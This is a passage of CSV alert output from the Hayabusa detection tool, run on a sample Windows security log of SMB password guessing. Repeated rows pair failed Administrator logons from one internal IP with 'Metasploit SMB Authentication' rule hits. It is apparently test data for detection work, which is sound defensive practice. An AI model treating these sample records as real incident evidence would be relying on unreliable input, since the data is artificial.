Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.092 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zaw9iF5mJlyygdnB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.092 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.128 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Sr5PZAd1qMc7hi3c : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.128 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.167 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: l5xbQtyueVq3fJSG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.167 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.203 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: g2nP0zz2ofBxTGw6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.203 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.237 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SYJheREJmEwj0791 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.237 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.277 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: exglD9fnLwaqwRZn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.277 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.325 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8bSAU1QjasDAsmry : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.325 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.363 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cfnrtXR7evQBbaOw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.363 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.410 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KYAwjW99chcntPsQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.410 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.464 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rG2PYfOTfT7QvbPu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.464 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.508 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FojDtfDNXq0gQfYu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.508 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.549 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SUTT0QycbFtyJfNL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.549 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.596 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gcbv1lrcYdT9Wuli : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.596 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.636 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pjdFfvCCfGXo7FUf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.636 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.697 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rzqGdWlGglLQx6Z4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.697 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.749 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: V3Rt80PMk70sVqbk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.749 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.795 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: okunzcEHnxUml4SG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.795 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.842 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qH0AY3DeIryuHSiN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.842 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.886 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DjqtxY5Fly4qAusS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.886 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.935 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PXHYu7wAqo7m6mZn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.935 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.990 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UaEM3boErBRrCbna : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.990 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.040 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7nSzwstH2imPjwah : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.040 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.153 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9Z6NM0I4vRTXlLKu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.153 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.193 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jYhjN3f8KlFIEUKy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.193 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.232 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qWicYt2HXLDgc3kc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.232 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.269 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Uz7yqqxdMrsM2L1g : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.269 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.308 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wqKTguT2Z3OPCxGR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.308 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.352 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ywpwCM4u6nFSq9oS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.352 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.407 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: k1t5ZBw3HOxux65e : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.407 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.534 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MtLFQSltjjOjdl2c : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.534 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.593 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AyFD3cjef0NUMZZ5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.593 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.656 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uDYECnF1YTKRKA3K : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.656 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.700 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pfqxcIVpX9BbsPIM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.700 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.745 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mjL5hvyYesMfDISw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.745 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.774 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3bh8c5ohv55SAX26 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.774 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.817 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MflfcFDnGU3xUOmz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.817 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.859 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aX0wfTs5FzCdwGrR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.859 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.895 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9gdU6faDjEH5wW2X : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.895 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.929 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 507PC8xD6l0TbhG3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.929 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.973 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VrWgYcf9EuXt4MHS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:25.973 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:26.088 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GvIGEw3fdX9cDzIV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:26.088 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:26.159 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9X1q0dT5irWa44Rz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:26.159 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:26.307 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZpgAkElSQjVo53z2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:26.307 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:26.410 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7nxUEwRMaiAhiIXv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:26.410 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:26.453 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vIoaysmFNfEerv8f : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:26.453 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:26.528 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aHLhFgL0xfnrAIoF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:26.528 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:26.619 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YGK96B1hDPMK9YKh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:26.619 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 